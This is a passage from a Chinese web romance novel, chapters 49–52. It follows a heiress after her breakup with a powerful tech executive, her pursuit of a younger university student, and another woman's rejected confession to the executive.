“好啊。”舒以宁没有异议,王樾和楚思然也同意。 许夏天说着就给秦延昭打电话,被按掉了。与此同时,她收到了秦延昭的微信消息,问她怎么了。 她简单跟他说了下他们四个打算这就出发来找他玩的事,然后也受到了他的答复。 许夏天:“我哥说他今晚大夜戏,跟肖寂一起拍。” 剩下三人闻言,当即又都坐回了原位。 许夏天看他们的反应,就明白了,于是给秦延昭发:[那我们就不来打扰你拍戏了,你空了就自己回来找我们喝酒啊[皱眉][皱眉]。] 喝了个把小时,除了许夏天以外,都喝了不少。 老秦不在,他们这次也就没坐包厢。论清吧的氛围感,自然还是卡座更有感染力。不少人过来搭讪,男男女女都有,舒以宁微笑着拒绝了,但桌上还是摆了好几杯侍应生送过来的其他客人请的酒。 楚思然笑道:“我们以宁魅力不减啊,不管到了哪里都是焦点。” 舒以宁蓦地就想到了商聿行。 不管到了哪里都是焦点吗? 不是的,她不是这样的。 但他是。 她脑海中浮现着他被簇拥在人群中央的一幕幕,低头笑了一下,然后抬起头问道:“你们知道掌潇喜欢谁吗?” 王樾不假思索:“商聿行啊!” “啊?!”舒以宁惊讶得差点咬到自己的舌头:“你竟然知道??” 这句话但凡是许夏天或者楚思然说出来,她都不会感到如此震惊。怎么,王樾从哪里听来的吗? 哪成想,王樾一脸莫名,说:“这不是有眼睛的人都能看得出来?” 舒以宁:“??” 她将目光放到楚思然身上。 楚思然点点头,说:“是啊,我也看出来了。你看不出来?” 舒以宁转过头,将目光转移到许夏天身上。 许夏天摇摇头:“我不知道。” 说完,她一脸八卦地问楚思然:“掌潇她竟然喜欢商聿行?真的假的啊?” 楚思然耸耸肩:“我猜的。” 许夏天于是又一脸八卦地看向王樾。 王樾嘿嘿一笑,说:“我也是猜的。以宁这不问的是掌潇喜欢谁吗?那就说明掌潇有喜欢的人呗,她每回看商聿行的眼神都bulingbuling的,充满了崇拜,喜欢他不是很正常?” “你还会观察眼神?” 王樾道:“偶尔,分人的,像老秦……他看狗都深情,我就分析不出来了。” 楚思然言归正传,敏锐地抓住关键点,问舒以宁:“怎么突然提掌潇?不会是我想的那样吧?” 莫非……商聿行与掌潇之间有所牵扯? 这不能够吧。 楚思然知道商聿行这种翻手为云覆手为雨的上位者不会是什么好人,但掌潇,无论从哪个角度看都不像是个会介入别人感情的人。 舒以宁也不瞒着他们:“掌潇来找我了,她问清楚了我和商聿行的现状,打算去追他了。” 她的语气很平静,语调平稳缓慢,似无半点波澜。 “所以你才打算马上去追那沈嘉树?”王樾一针见血,下一秒,他就在舒以宁虎视眈眈的目光中改了说辞:“……唔,我的意思是那你可不能输,一定得在他俩之前追上那姓沈的!对,一定得比他俩先成!” ** “圈子里都在传你和以宁分手了……”邢南将雪茄放到烟灰缸卡口,轻轻敲击雪茄。 烟灰随之掉落。 他送回唇边,慢悠悠地又吸了一口,这才笑眯眯看着正一个人喝闷酒的商聿行:“阿行,这是真的?” 他明知故问,好整以暇地欣赏眼前这位商大老板深夜买醉的画面。 商聿行向来克制,邢南知道他从不纵欲—— 当然,这只是外人看到的商聿行,床上那点事旁人自然是不晓得的。 但今天,他已经开始喝第三瓶威士忌了。 商聿行没理他,兀自仰头饮尽杯中烈酒,接着便又拿起酒瓶倒上。 邢南吐着烟圈,笑道:“哎呀,分手而已,跟谁没分过手一样。以宁哪儿惹着你不高兴了?” 商聿行垂着眼,语气有些沉:“她提的分手。” 邢南这才乍然惊醒—— 以宁提的分手?? 对啊,因为是以宁提的分手,所以阿行才会一个人喝闷酒,人都不带理一理的啊!不然他何至于一个人跑来喝闷酒呢? 那么问题来了,以宁为什么会平白无故突然提分手? 不会是…… 不会是因为真听见了阿行那天说的话吧! ** 舒以宁与沈嘉树再一次见面是在科技园的披萨店。 科大早就已经开始放寒假了,沈嘉树假期留校,在科技园找了家公司实习。既然是来学习的,他自然要留守到除夕前一天晚上再回老家。 舒以宁问他:“还没问你在哪实习。” 科技园占地面积很大,叫得出名字的规上企业就有四五家,其中就有商盛科技。 舒以宁心想:应该不会这么巧吧…… 然后,沈嘉树吸了口冰可乐,语气平稳无波:“我在商盛科技实习。” 舒以宁:“……挺好的。” 沈嘉树性格上跟商聿行有几分相像,是个不太喜欢多说话的性子。舒以宁不开口找话题,他也就不会多说。 两个人就这么面对面,安静地坐着吃午餐。 舒以宁吃东西慢,等她吃完一片披萨的时候,沈嘉树已经干完三片了,饮料也已经喝空了。 他不像如今大部分年轻人一样,一有空就掏出手机来刷。他只是安静地坐在那里,看着面前的桌子,不知在想些什么。 舒以宁开口道:“你多吃点吧,再吃个两块,我吃不下多少。炸鸡薯条你也多吃点,还有这块黑森林,快吃掉。饮料要不要再点个一杯?” “我吃饱了,你吃吧。”沈嘉树抽了根薯条,蘸上番茄酱,百无聊赖地开始一点点吃薯条。他似不经意间问起舒以宁目前的感情状态,是一种刻意的不经意,生疏笨拙得令人感到可爱。 舒以宁不由被他逗笑了。 “单身,分了。随时可以开始下一段,”她不忘笑眯眯补上后半句:“只要你一句话答应。” 沈嘉树没说话,低头欲盖弥彰地吸着杯子里已经空了的可乐。 舒以宁莞尔,将自己没怎么喝的气泡水往前推到他面前。 沈嘉树没拒绝,低头喝着她的气泡水,脸蓦地越来越烫。 吸管上有她残留的一点口红,颜色很淡,似乎还留着她唇上旖旎的余温。 舒以宁看破不说破,佯装无所察觉地吃完了这顿饭。 ——他脸皮薄,又没有恋爱经历,她虽然很想调戏他,但也更愿意给他这份尊重。 舒以宁扫码想要结账的时候,才发现沈嘉树已经默默付过了。 于是,舒以宁顺势便道:“这次你请我吃了,那下次我一定要请回来,这样才公平。所以沈嘉树,下次我约你吃饭你可不能拒绝。” 沈嘉树很快地“嗯”了一声,低低的,快得能让人一看就看穿他的羞涩与不好意思。 舒以宁看了眼时间,笑道:“我就不送你去公司了,你方便吗?” “我骑共享单车。” “好,那我们……”舒以宁以退为进,看着他:“下次约哪里?” 沈嘉树看着她,清亮的双眸中满是澄澈倔强。他的声音很平静,咬字十分清晰,神色是前所未有的郑重:“舒以宁,我承认,我是喜欢你。但我还不想和你进一步发展,我需要时间。” ** 商盛,总裁办。 “这座酒庄我父亲买下来送给我母亲作为PearlWeddingAnniversary的纪念礼物,我选了一瓶,送来给行哥尝一尝。” 掌潇将甄选的红葡萄酒递上,笑盈盈道。 “多谢。”商聿行道了谢,接过掌潇手上的红酒。 他笑道:“改天我约上你师兄,一边品酒一边谈一谈行业前沿热点。听你师兄说,你导师当前研究方向主攻超互联新算力经济模型?” 进入AIGC时代,算力作为AI大模型的基石,是数字时代的新生产力,更是全球数字经济发展新引擎和各国战略竞争新焦点。[1] 二人走到了办公室的休息区,商聿行邀请掌潇坐下。 他们一人坐在长沙发中央,一人坐着单人沙发座。 掌潇落落大方地笑道:“智能时代的算力是技术实现与科技金融的深度结合,未来一体化算力体系的构建需要做好算力资源和业务应用的统筹衔接。通过代码实现公平、公正、公开的多利益关联方民间自治,探索超互联新算力产业的新型生产关系。我们很期待未来能和行哥有更多的合作机会,共同迎接新的挑战。”[1] 掌潇知道商聿行对技术感兴趣,便投其所好,多聊了几句。他们聊了会儿技术,期间Karina进来送了两杯冰美式,送完就出去了。 末了,她笑道:“今天我从实验室过来的,听我导师说,大师兄的职位又要升一升了?” 商聿行道:“你大师兄很优秀,你师兄这样的专家对商盛科技来说,不可或缺。” 这是很高的评价了。 掌潇正想着如何不动声色地将话题引回葡萄酒上,就听商聿行随口问道:“这酒是送完导师,就送来我这了?有心了,多谢。” 掌潇绽出一个笑,挺了挺腰背,眸光清亮地看着他:“不是,这瓶酒单单只送来给行哥喝。” “只此一瓶,我亲手灌的。”她补充道。 商聿行听她说完这句话,没有说话,也没有回应她的目光。 掌潇一瞬不瞬地看着他英隽深邃的脸,一瞬不瞬地看着他拿起咖啡杯、轻轻抿了一口冰美式。 对她的话,仿若未闻。 她不仅怀疑,是她表达得太过含蓄了吗? 一瓶来自父母三十年纪念日的葡萄酒,象征着永恒与爱情,由她亲手灌入,送到了他的手上。 隐晦而浪漫。 他不可能不懂。 他要是真的没听懂,也不会是现在的这个毫无回应的反应。他会毫无犹疑地对她说谢谢,会朝她露出一个礼貌而又有着距离感的微笑,会看着她,不回避她此刻赤忱热烈的目光。 不知多了多久,商聿行抬眸,缓缓开口:“掌潇,你值得更好的。” 掌潇唇角的笑容一顿,旋即重新笑开:“行哥?” 商聿行放下咖啡杯,起身踱步到了落地玻璃窗前。 他站在落地玻璃窗前,背对着她。袖口挽至手肘,肩宽腰窄,黑色西装裤包裹着修长的双腿。 掌潇静静地看着他的背影,甚至有那么一刹那,她希望时间就这么静悄悄滑过去,永远停留在这一刻。 然而,他终究还是轻描淡写开口打破了短暂的这静谧:“我没有开始下一段感情的打算。” 掌潇几乎没有犹豫,话来不及在心里头转个弯就脱口而出:“我可以等。” 那道清瘦挺拔的背影始终没有转过来,他甚至没有侧一下头。 掌潇心中那点火花逐渐暗淡下去,但迟迟没有熄灭。 舒以宁可以,那么,她为什么不可以? 掌潇不甘心。 她深吸一口气,既然开口了,就没有退缩的道理。她掌潇不是懦夫,在这一刻,更是拿出孤注一掷的勇气:“行哥,你可以和我试一试,说不定我们会磨合得很好。一个月,一礼拜,都可以。” 隔了一会儿,他说:“掌潇,你值得更好的。” 又是这一句。 又是这一句。 来自成年人体面的拒绝。 掌潇好想问他一句,那你觉得舒以宁值得更好的吗? 她想,如果此刻站在这里的是舒以宁,想必一定能将这句话问出口。 如果是舒以宁,一定不会因这一句拒绝而退缩,更不会瞻前顾后患得患失。 掌潇一咬牙,放声几乎是喊着说:“商聿行,我不要更好的。我喜欢了你十四年,难道你就不可以给我四天?我不贪心,我只要四天。” 商聿行转过身,看向她的眸光轻淡无波,语气同样平淡似水:“我只是你人生中一个无足轻重的小插曲,往前走吧,掌潇。”—— 作者有话说:[1]引用自算力相关新闻报道 第50章 根据农历,最近五年都没大年三十,除夕均落在腊月二十九这一天。 舒以宁中午才起,给沈嘉树发了条微信消息:[除夕快乐呀],附带一个喜庆又可爱的表情包。 宋正阳从舒以宁口中得知她已经与商聿行分开的消息后,并不意外,也没有多话说什么,只评价了一句“能全身而退,这对于你而言也算是件好事”。他今年没有回老家,将母亲接来了H市过年,并邀请舒以宁一起吃年夜饭。 舒以宁拒绝了。 她没回翠湖,本想在浅水湾鼎苑一个人度过这个除夕,哪成想许夏天直接开车上门将她押回家一道吃团圆饭。 许夏天的母亲和外婆都与舒以宁相熟,一家人算是热热闹闹地吃完了晚饭。舒以宁还从两位长辈这儿拿到了两份压岁钱。到了夜里九点钟,秦峥也来了,带着给大家的压岁钱,也没落下舒以宁这一份。 舒以宁笑说:“老秦的红包我是第一回拿,看来你不仅做夏夏的哥哥,也想做我的哥哥了。” 秦峥开玩笑道:“兄弟之间暧昧话少讲,我对待感情可是专一得很,哪来你这种到处沾花惹草的妹妹?要不给你那弟弟也包一个,虽然做不成你们的哥哥,但做你们的爸爸我还是很愿意的,这不……哎哎哎,夏夏救我!” “谁做谁爸爸呢?嗯?我问你啊!” “哈哈哈哈哈,我才不救你,以宁打死他,啊哈哈哈……” “哎哎哎,奶奶救我!” …… 春节假期一晃而过,期间,舒以宁给祖母打了拜年的电话,毫无意外地又一次受到了冷落;也与宋正阳母子吃了顿饭,她面对宋母热忱又小心翼翼的殷切目光时,总觉着全身都不大自在。宋正阳与舒以宁提起过楚桑桑:“她连过年都在外地拍戏,天寒地冻的,好像都得流感了。” 舒以宁只说:“她的事如无必要,不用和我讲。” 这段时间,舒以宁也不是没有想起过商聿行。 只是她也很清楚,于她而言,商聿行就像这转瞬而逝的烟花,绚烂后就离了场。 是她失了分寸,险些沉溺其中。 年后开工,舒以宁如去年一样,以董事的身份参与到舒住的一些决策中。 行业面对阶段性调整的挑战,不论是国际酒店型集团,还是舒住这样的中国本土品牌,皆围绕着下沉市场展开新一轮的扩张与角逐。[1]舒住计划在重庆下面的区县扩展新支线业务,舒以宁年初七就带人飞过去做了调研,初九飞回H市,第一件事就是联系沈嘉树。 ** 这次商聿行过来,一为商盛科技新的人事调动,二则视察度假村智能家居系统的开发进展。 邢南有商盛科技的股份,算是几个大股东之一,闲着没事陪商聿行一起来看看。 “掌潇这大师兄啊,这回我总算是见着真人了。”邢南笑叹,“老听她念叨蒋老师,听久了,我都要误会这丫头暗恋蒋老师来着。” 蒋旬摆摆手,笑道:“邢总说笑了,要说登对,还得你和商总这样的青年才俊才适合跟潇潇站一块儿。” 他指了指自己的头发,毫不在意地自嘲:“我们做科研的啊,未老先衰,看我这白头发一茬一茬的。我女儿前两天还问我,不是老爷爷才有白头发吗?哈哈哈哈……” 邢南做出微微惊讶却又恰到好处的表情,笑着说:“蒋老师都有孩子了?恭喜恭喜,还是个小棉袄,当真羡煞旁人。” 说罢,他看向商聿行,唇角的笑容加了两分调侃的意思:“我要是没记错,蒋老师和我们商总同一年吧?商大老板啊,要抓紧了啊。” 商聿行淡淡抬眸,缓声道:“你比我晚出生没几个月。” 邢南一下子来劲了:“我处处留情,这么些年可都没白活啊,你个老处男能跟我比?哦……不好意思,忘记你已经不是了。” 蒋旬露出一个心照不宣的笑容,多嘴问了一句:“研究院里去年就在传商总有女朋友了,恕我多嘴问一句,是上回一道过来的舒小姐吗?” 他话音一落,办公室倏然静默下来。 “啊,蒋老师也这么八卦啊,哈哈哈哈。”邢南嘴角的笑容也僵硬了一下,旋即开□□跃气氛,打着哈哈把这个话题揭了过去。 蒋旬又坐了一会儿就借着组里有会,起身告辞了。 他一出去,邢南就换了个坐姿,单手靠在沙发座上,敛眸点了支雪茄。 缕缕烟雾中,他扯了下唇角,十足的混不吝公子哥做派。 “说说吧,你跟以宁那事儿。” “阿行,别什么事都埋在心底里。我想,你需要一个军师。”他补充道。 商聿行本想回句没什么好说的,还未来得及开口,就又听见后面补充的这两句话。 他十只交叉,闭上眼,薄唇抿成一条笔直的线。 这些天他已经控制自己尽量不去想她,但有些东西却早已食髓入骨。 邢南早就知道他没那么容易将感情之事坦陈到别人面前,于是吸了口雪茄,用慢悠悠的语气耐心道:“你要是对她还有念想,总得有人帮你,不是么?” 又过了好一会儿,商聿行才缓缓睁开阖着的双眸。 言简意赅:“她提的结束。” 邢南立马坐直了,条件反射般追问:“为什么?” 以宁提的结束这件事,他过年前就从阿行口中得知了。关键是,到底为什么呢?真是听见了他们那话?那阿行,怎么都不追回来?明明还惦记着,就这么放她走了? “她失去兴趣了。” 商聿行的唇角又成了一条直线。 邢南明白了。 “她年纪小,心性不定,你给她定下来就是了。” 话虽这么说,但他们俩彼此都心知肚明—— 舒以宁只比他们小不到四岁。 今年,她已经25岁了。 在她这个年纪,别说商聿行了,连邢南都已经把自个儿的事业运营得有声有色。 但—— 商聿行没有出声提出异议。 邢南笑了笑,心下顿时了然。 看来这人心里头确实还念着人舒大小姐呢,这不,没有半点否认的意思。 邢南不指望能从他嘴里冒出更多的话来,于是只等了稍许,就不再等他表态了:“男朋友换得勤,无非就是贪图新鲜感。以宁这种心理啊,我最熟悉了。” 性转一下,不就他本人? 邢南还是要脸的,没直接把这句话说出口,只隐晦地表达出这个意思来。 商聿行睨了他一眼。 邢南继续说:“她得偿所愿久了,没在感情上受过伤,一路顺风顺水,自然就觉得男人的爱来得理所当然。等哪天碰了壁、受了伤,就会知道谁才是最值得她依靠的。” 商聿行被他气笑了:“你是让我等着?” 邢南:“我让你主动出击。” 他顿了顿,神神秘秘道:“找人,渣她。” ** 商聿行觉得自己真是疯了,才会听邢南在他面前说那些不着调的话。 他头也不回地走出电梯,迈出了周围人看来六亲不认的步伐。 邢南一路追上来,“开个玩笑,开个玩笑。” 司机已经将库里南停在大门口候着,总助江路南为他们拉开了车门。 商聿行停下脚步,微微侧身,望向前方。 邢南也跟着停下来,顺着他的目光往前看—— 得,原来是舒以宁舒大小姐的车。 她那辆帕梅拉是帕派雅橙的金属漆面,色泽足够鲜艳,想让人不注意都难。 邢南立马笑道:“看,以宁专程来找你了啊。我就说嘛,以宁心里肯定还是有你的,她多喜欢你啊,有时候看你的时候眼睛里简直都要冒小星星。就你当局者迷,整天像个毛头小子似的跟人以宁赌气。” 商聿行面色稍霁,没有马上钻进库里南车里。 不过要他主动走过去,是断然不可能的。 邢南也知道这点,瞥了一眼男人明显好转的脸色。好在舒以宁也看到了他们,施施然打开车门下来。 邢南赶紧扬起笑脸挥手喊道:“以宁——” ** 商聿行公务繁忙,虽然每个月都会尽量抽出时间来商盛科技视察,但舒以宁没想到会在这里遇到他。 她看着他从大楼中走出来,在那辆库里南前停下脚步,侧身望过来。 舒以宁原本关注着大门口,只是想等沈嘉树一出来就下车过去。 不期然看到了他的身影,而显然,他也看见了她的车。 距离他们最后一次不欢而散的见面,已经过去了差不多两个礼拜。 舒以宁深吸一口气,暗道输人不能输阵,看都看见了,总不能当缩头乌龟。 她做了半分钟的心理建设,整理了一下栗色长卷发,推开车门。 邢南一见她下车就热情喊她名字,她回以一笑,等走近了才开口打招呼:“商总,南哥,这么巧。” 商聿行还是一贯的清冷姿态,身形站得笔直挺拔,浑身上下那股矜重卓然的气质丝毫未减。 舒以宁为了避免尴尬,只看了他一眼,就笑着看向邢南:“南哥今天陪商总来商盛科技视察工作吗?” 邢南自动忽略她口中一口一个的“商总”,只当小姑娘家家的还在赌气、拉不下这个脸。“我嘛,反正闲着也是闲着,就想着找阿行玩儿。这不他刚好有个会要过来,我就跟着来了。你怎么来了?刚好路过?” 舒以宁微笑,自然而然道:“我来接我男朋友下班。” 邢南没听出来不对劲,正要调侃,就听见她补充道—— “沈嘉树,商盛科技研究院AI加速算法方向的实习生,我新交的男朋友。”—— 作者有话说:[1]引用新闻 商聿行:[心碎][心碎][心碎]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 气氛瞬间凝固下来。 邢南用了整整五分钟来消化这句话,他能够感觉到身边那位的气压顷刻间有一种山雨欲来的前兆。 不过,商聿行在舒以宁面前表现出的,依旧是那副冷冷淡淡的死样子。 邢南听见他开口说:“恭喜。” 嗓音低缓,疏离中透着一股仿佛事不关己的冷漠。 舒以宁笑了笑,没说话。 邢南扯了扯嘴角,勉强扯出一个笑:“这么快……就交新男朋友了啊。” 饶是他这样常年混迹于各种交际场合的人,都有点不知道要怎么来破解当下这个场面。 舒以宁倒是落落大方,笑道:“我们约了去吃中山南路那家新开的法餐,他用加班时间调休了两个小时,可不能算作被老板抓到早退了。” 邢南心想,姑奶奶你要是真有心为你那小男朋友好,还是赶紧闭上你那叭叭叭个不停的小嘴吧。 舒以宁远远望见沈嘉树从一楼大堂里出来,回过头朝二人笑了笑,抱歉道:“他为人有点内向,就先不介绍你们认识了,失陪。” ** 沈嘉树自从坐上副驾驶座,就一言不发,安静地望着车窗外掠过的街景。 舒以宁心里头莫名不痛快,也没说话,更没心思关心他的情绪问题。 等到了下一个红灯,沈嘉树终于忍不住了。他转过头看着舒以宁,语气中不自觉带上了点质问的意思:“你上一段感情似乎没断干净。” 舒以宁转过脸来与他面对面,微微一笑:“我想我没有义务向你汇报,你要是忍不了,可以现在就下车。” 沈嘉树很想立刻解开安全带、摔门下车,但是他忍住了。 成年人的你来我往中,谁先被情绪击败谁就输。同样的,他也已然接受自己沦陷在了眼前这个女人这里的这个事实。 他抢回主动权,直直盯着她:“舒以宁,这就是你追人的方式?” 是的,沈嘉树至今没有答应舒以宁的表白。方才她只是在商聿行与邢南面前,擅自为自己塑造出一个早已转身开启下一段感情的潇洒形象。 新开的法餐最终没有吃成,舒以宁送沈嘉树回了科大。 他下车前,舒以宁做了挽留;“真不去吃了?那大厨可就开业这几天在,下周就回巴黎了。” “在你想清楚之前,我想我们还是先不要见面了。”沈嘉树回过身,阳光洒在他蓬松好看的黑发上,仿佛镀了一层金黄的麦穗。他一瞬不瞬地看着她,神色庄重而肃穆:“舒以宁,我承认我是喜欢上了你,但我绝对不接受做你一时的消遣对象。” 一直等到沈嘉树走远了,远得都走出了视线所在范围,舒以宁都还望着他离开的方向。 直到后边有车按喇叭催促,她才回过神来,笑着自言自语了一句:“不愧是我看上的男大,有个性,有原则。” 而在舒以宁载着沈嘉树离开后,商聿行这边也没好到哪里去。 邢南看了看他冷得快能掉冰渣的侧脸,打了个哈哈:“啊,哈哈,真没想到以宁这么快就,就又有男朋友了啊,啊,哈哈……” 江路南:“……” 江路南:邢总,您可快闭嘴吧,就您长了嘴。 遇上这种事,邢南非常体贴地邀商聿行去R&F喝两杯。 商聿行没搭理他,回公司一直加班到十点半。 十点四十五,他回到了空荡荡的世纪城。 舒以宁离开后,他在公司加班的时间往后挪了许多。 很多时候,他刻意在办公室多坐一会儿,以免回来就要面对空空的屋子。 很奇怪,只是少了一个人,却好像带走了所有的烟火气息,只留下黑白灰的清冷空荡。 明明他过往十年,过的也是这样的日子。 日复一日,年复一年,并无多大区别。 她短暂地在这个空间中存在过,走得决绝,不留下半分痕迹。 然而屋子里处处都是她的痕迹。 他看见沙发时,会想起她曾经慵懒地窝在沙发上,理直气壮地命令他给她捏腿。 看见浴缸时,会想起她曾经在这里留下的身段。 就连看见制冰机,都会想起她曾经口含冰块环着他的脖子,要往他口中渡酒的娇俏模样。 如影随形。 商聿行摘掉袖扣,单手扯下领带,随手扔在客厅沙发上。 手机上有陈洲发来的消息,问他出不出席某一位同学的婚礼。 ——是在斯坦福上学的时候认识的朋友,比他们小一届,华裔混血。 商聿行一早就收到了请柬,彼时,舒以宁还捧着请柬当着他的面,大夸照片上的新郎长得很帅。 自然,她为自己的言行付出了代价,受到了来自于他的醋意反击。 他又何尝看不出来她的那些小把戏。 会故意表达对别的男人的喜好,故意引他吃醋,故意看他为了她打破规则的样子。 他总是清醒地步入她的圈套,在荷尔蒙与情感的双重驱动下,与她共同沉沦。 兴许,这也是她曾经在别的男人身上用过的把戏。 百试不厌,屡试不爽。 商聿行开了瓶百利甜,是她落在他酒柜中没有带走的一瓶酒。 新鲜奶油和上等威士忌的融合,就像一对反差巨大的情人。 商聿行不喜甜食,这款威士忌与奶油的混合酒更是向来被他视为小女孩饮品。他喝过舒以宁为他做的一杯特调百利甜,口感丝滑,与红茶融合得堪称完美。 百利甜纯饮过于单调,酒味对于他这种喝惯了烈酒的人而言,太腻了。 就像他与她之间的感情,让她觉得腻味了。 原来,腻味是这样的一种感觉。 商聿行沐浴洗漱,十一点半准时上床。 关了灯,长夜将整个空间渲染得漆黑无状。 偌大的床,他习惯了只睡一侧。 她很娇气,有时,他不小心重了一点,就会受到她一顿捶打。 她的捶打力道不大,反而很能助兴。 他往往乐在其中。 而如今,床的另一边只剩一片空虚。 周嘉皓的那句嘲笑在此刻完成闭环,商聿行不得不承认,自己没有成为她的那个例外。 他扯了扯唇角,自嘲一笑,侧过身子背对着她曾经睡过的那一边躺下。 夜已经深了,万籁俱寂。 他的感情就这么被她随意践踏,与她身边曾经拥有过的那些男人没有两样。 她是感情里绝对的主宰者,肆意掌控、挥霍着别人的真心,无怪周嘉皓因爱生恨,为了报复她不惜搭上婚姻。 自由? 她的美丽完全来自于她的自由? 商聿行此刻孤零零地躺在这张曾经铺满万千旖旎的床上,只觉得姓周的那番话简直可笑。 她需要的不是自由,是教导,是惩戒。 商聿行的心一寸一寸地冰冻起来,硌得他胸膛生疼。 好一个接男朋友下班。 这才过去不过半个月,就已经迫不及待回去找别人了。 舒以宁。 舒,以,宁。 所以,于她而言,他究竟算个什么。 第52章 “对于他来说,我算个什么?”舒以宁淡淡一笑,说:“我舒以宁站在他身边,可以是助理,可以是女伴,甚至可以是那方面的伴侣,但从来都不是女朋友。” 楚思然想安慰她,却也知道她最不需要的就是安慰了。 “你能想开就好,我还真怕你就栽在他身上了。” 舒以宁想来秉持不变的观点:“那句话怎么说的来着……爱情是调剂品,不是必需品。” 楚思然不瞒着她,笑道:“楚江野让我劝劝你,我跟他说这有什么好劝的。没想到我们两家都断交这么多年了,他会为了这事专程打我电话。” 算起来,楚思然与楚江野是堂兄妹关系。楚江野的祖父与楚思然的祖父是亲兄弟,年轻时候共同创业,后来因利益分配问题同室操戈、兄弟阋墙,两家就此不相往来。再后来楚江野一家将生意重心移去了北京,两家人就更没什么交集了。 舒以宁把她去接沈嘉树下班,恰好被商聿行和邢南撞见的事情,简单和楚思然说了说。 楚思然分析道:“那八成就是邢南把这事儿告诉楚江野了。奇怪,楚江野为什么还会专程找到我这儿来让我劝你?哎对了,上回你说掌潇要追商聿行是吧?怎么样,他俩成了没?” “不知道。”舒以宁摇摇头。 不知为何,此刻提起掌潇,她莫名有些难受。胸口胀胀的,好像还有点酸酸涩涩的感觉,就像打翻了五味瓶。 楚思然单手托腮,抿了口美式,说:“说实话,我觉得他们俩成不了。” 感情的世界里非黑即白、泾渭分明,喜欢就是喜欢,不喜欢就是不喜欢。 商聿行会对舒以宁这样圈内圈外公认的大美人下手,那么,至少说明他更中意明艳的风格,而非其他。楚思然不认为掌潇会有胜算,平心而论,掌潇也生得漂亮,但她的漂亮是一种很端庄正经的漂亮,与舒以宁完全两个类型。男人这生物啊,真是连正经到了商聿行这种段位,都不能免俗。 “不说他了,说说邢南吧。”舒以宁敛眸刷了下手机,掩饰情绪,再抬起头时眸中已经重新染上笑意:“我前两天去重庆看场地,正好遇上老秦拍综艺,就去探了个班。你猜我遇见谁了?” “嗯?跟邢南有关?”楚思然不解道:“老秦不是正在横店拍戏吗?请假出来拍综艺?这也不像他的作风啊。” 舒以宁道:“他年初二就返工了,都已经杀青了。” 她没继续打哑谜,直接说:“我碰见萧殊恬了,他上一任女朋友。她在节目组实习,做编导。” 楚思然意兴阑珊:“我记得,她拢共跟了邢南没多久吧?怎么突然提她?” 舒以宁:“……” 当然是为了转移话题啊。 好在楚思然没真想从她这儿获得一个答案,反而自顾自地感慨起来了:“实习编导……可能是邢南给她找的资源吧。邢南这人虽然换女朋友换得勤,但倒不是个薄情寡义的人,我听说他好像对每个前任都挺不错的。” 说到这里,楚思然停顿了一下,问舒以宁:“商聿行有过前任吗?我指的是除了你以外?” 没想到,话题又绕回了商聿行身上。 舒以宁淡淡回道:“我算他的前任?我对他来说,只是一个女人而已。”他那句冷漠的评价,至今回荡在她耳边。虽然她从未与任何人提起过,但她也从未忘却。 楚思然听出她语气不大好,知道她是真的不想再聊与商聿行有关的话题了,便笑道:“不聊他了,来聊聊你和弟弟吧?” …… 舒以宁这次追沈嘉树,说顺利,也还算顺利;说不顺利,也依旧不顺利。 翌日,她与许夏天约在R&F喝酒,两人聊起台上阴郁风的帅气新主唱。 许夏天笑道:“我还是更爱二次元,现实世界中的男性对我没有吸引力。” 舒以宁单手托腮,看着杯中层次分明的鸡尾酒特调,直言道:“二次元不能搞瑟瑟,我还是更喜欢摸弟弟的胸肌腹肌。” “追到弟弟了?” “没呢,他说了喜欢我,但就是不松口。现在的小孩啊,难弄。” 许夏天一言以蔽之:“清醒,不好骗。” 舒以宁笑着抬手要去打她,“别把我说得跟个人渣一样好不好?” 许夏天咧着嘴虚躲,说:“姐姐我错了,姐姐渣我,姐姐快渣我!” 两人闹了一会儿,舒以宁又开始喝闷酒。 许夏天看出她情绪不佳,拍了拍她的头发,叹道:“我看你这啊,不像是为弟弟发愁吧?” 舒以宁笑答:“谁知道呢。” 许夏天凑过来瞧她脸色:“为商聿行?” 听见这个名字,舒以宁的笑容瞬间淡了下来。 过了一会儿,她问道:“这么明显?” “没有,我瞎猜的。”许夏天换了杯软饮递到她面前,“但你有点反常,跟以前很不一样。” 舒以宁推开酒杯,接过软饮喝一口润了润嗓子,接着缄默了好一会儿。 一楼的乐队深情演绎着陈绮贞的《鱼》,是一首有点年份的民谣。 舒以宁静静听了一会儿,问道:“你觉得我和商聿行合适吗?” 许夏天也说不出个答案:“我不知道,但我始终认为,感情没有合不合适。喜欢就是喜欢,不喜欢就是不喜欢。” “那你认为我足够清醒吗?我比沈嘉树清醒吗?”舒以宁停顿稍许,全盘托出:“他怕我对商聿行有所眷恋,要我想清楚了再去找他。” 话音刚落,她就兀自喃喃道:“你说得对,他很清醒,不好骗。是我不够清醒。” 才会沉溺在一时温柔的虚假中。 这是头一次,在她还未滋生半分厌倦念头的时候,被现实狠狠创了一击。 明明早就不是活在象牙塔中的少女,不会为了一点点荼蘼情事就无法自拔。 明明她伪装得很好,足够体面,决计不让自己在那个男人面前落了下风。 明明已经做好开始下一段感情的准备,就像以前的她一样,敢爱敢恨,无怨无悔。 许夏天的感情经历一片空白,着实当不了情感导师。她想了想,出了个主意:“那这样,你猜一下我的蛋仔派对ID字数是奇数还是偶数,猜对了就选一个人,没猜对就选另一个人。” 舒以宁静静看了一会儿,一时间有些无言以对。 倒不是因为这种方式,而是—— (′з(′ω`*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) 她其实根本没得选。 舒以宁打开手机锁屏,一边给沈嘉树发了一条微信消息,一边对许夏天说:“我和商聿行已经是过去式了,没什么好纠结的。” 至少,她还能在这里得到一份炽热如夏的情感回应。 许夏天凑过来看她发了什么内容。 [我喝醉了,你来救我。] 并且发送了一条定位。 许夏天提出疑问:“他真的会来吗?寝室会不会有宵禁?” 舒以宁淡淡道:“兴许吧。” 她又要了两杯鸡尾酒,一款玛格丽特一款龙舌兰日出,都是传统鸡尾酒。 舒以宁:“陪我喝点?” 在邢南的地盘上就是这点好,不用担心个人安全问题。即便两个人都喝醉了,邢南也会稳妥地安置好她们俩。 许夏天于是抛弃软饮,举起高身香槟杯粲然喊道:“舍命陪君子。” ** 二楼位置最好的那间包厢的窗户惯例开着,坐在沙发上就能眺望楼下的舞台。 降A大调起,冰冷破碎的节拍。 “Yourethelight,yourethenight” 舒以宁唱到“Followmetothedark”的时候,后吧经理正好亲自过来送酒和小食果盘。 